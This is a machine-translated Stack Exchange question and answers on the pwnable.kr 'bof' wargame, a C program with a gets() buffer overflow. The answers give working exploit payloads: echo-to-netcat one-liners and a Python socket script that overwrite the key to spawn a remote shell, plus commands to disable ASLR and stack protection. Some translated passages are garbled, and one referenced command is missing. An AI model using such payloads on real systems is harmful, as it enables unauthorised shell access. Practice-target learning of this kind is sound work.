我正在http://pwnable.kr/play.php
上解决bof挑战,需要粉碎以下代码的堆栈

#include <stdio.h>
#include <string.h>
#include <stdlib.h>
void func(int key){
    char overflowme[32];
    printf("overflow me : ");
    gets(overflowme);   // smash me!
    if(key != 0xcafebabe){
        system("/bin/sh");
    }
    else{
        printf("Nah..\n");
    }
}
int main(int argc, char* argv[]){
    func(0xdeadbeef);
    return 0;
}


,给了我应该利用的编译器版本,该任务很简单,但是当我使数组overflowme溢出时,我从未将控件转移到/bin/sh,而是得到了类似的内容:
尝试用除*** stack smashing detected ***: ./bof terminated以外的零填充数组,但失败了
attempt2:
获取存储数组的内存转储,并使用该转储使数组溢出,但仍然失败

评论

我投票结束这个问题是因为离题,因为我不认为stackexchange是破坏战争游戏的正确地方:游戏本来就应该玩,发布完整的解决方案将扼杀每个玩家的乐趣。 />
前缀是52个字节而不是32个字节的原因是,还有8个字节的canary,加上canary和堆栈边缘之间的8个字节(canary位于Stack [-0x10])和4个字节之间堆栈和参数(参数位于Stack [0x4]),总共要多20个字节。

#1 楼

Jason的答案是正确的解决方案。但是,我想给出一个不带Python的替代答案,而是从终端给出。 IMO Python始终是更好自动化的首选,但有时您只是想在没有额外工具的情况下进行快速利用。毕竟,这是上面Python中代码的精确副本,对吧?除非服务器请求不同:


***检测到堆栈粉碎***:/ home / bof / bof终止溢出我:


那么,出什么问题了?

请仔细考虑一下上面的命令。它向远程进程的stdin发送一堆字符,以期运行/ bin / sh。但是,我们仍然对该错误表示欢迎。这样做的原因是,我们正在发送正确的有效负载,但是随后我们停止了。 EOF。 / bin / sh没有输入,因此执行继续到下一行,直到堆栈保护程序启动为止。

连续性是Python起作用而echo命令不起作用的原因。 Python不会关闭流,而终端版本会关闭。

为了证明这一点,这是终端漏洞利用的稍长版本,它实际上可以工作:

echo -e "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\xbe\xba\xfe\xca\x0a" | nc pwnable.kr 9000


首先,在这种情况下,我们像以前一样将有效负载保存到名为有效负载.bin的文件中。接下来,我们运行以下命令:

echo -e "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\xbe\xba\xfe\xca\x0a" > payload.bin


(请注意-在payload.bin之后,cat完成输出payload.bin的内容之后,它将开始输出任何内容通过stdin进入)

瞧!现在您实际上已经在工作。您可以尝试键入shell命令,例如cat flagtouch /tmp/pwned或任何您喜欢的命令。

哇!那很长。希望此信息能像其他前一阵子一样帮助其他困惑的人。

#2 楼

您无需绕过gcc的堆栈粉碎检测。如果正确覆盖key,则在func()的末尾执行堆栈检查之前,您将获得一个交互式shell。这是Python脚本形式的证明:

import socket
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(("pwnable.kr", 9000))
s.send("A"*52 + "\xBE\xBA\xFE\xCA" + "\x0A")
print "You now have an interactive shell :)"
while True:
    s.send(raw_input() + "\x0A")
    print s.recv(1024)


评论


好吧,我尝试了此回显-n -e“ \ x00 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00 \ xbe \ xba \ xfe \ xca \ x00“ | nc pwnable.kr 9000,但是没有用如果您能发现我错过了什么

–oddcoder
16年1月16日在23:42

gets()在输入字符串的末尾需要换行符,但是您在echo语句的末尾使用了空字节。

–詹森·格夫纳(Jason Geffner)
16 Jan 17 '15:34



另外,我认为\ x00不能与echo一起使用。

–詹森·格夫纳(Jason Geffner)
16年1月17日在16:22

实际上它确实有效,您可以通过将输出传递给xxd进行验证

–oddcoder
16年1月17日在20:38

@AhmedAbdElMawgood一个非常古老的问题,但是我发布了一个答案,可以帮助您理解为什么带有echo的版本无法正常工作。

– TGO
18年8月19日在14:00

#3 楼

首先,您应该在系统范围内禁用ASLR,您可以按以下步骤进行操作:

echo "0" > /proc/sys/kernel/randomize_va_space


其次,使用带有-zexecstack -fno-stack-protector标志的程序来编译程序-g

示例gcc program.c -o program -zexecstack -fno-stack-protector -g

干杯:)

评论


这虽然无助于获得该远程标志://

– TO
18年8月19日在14:01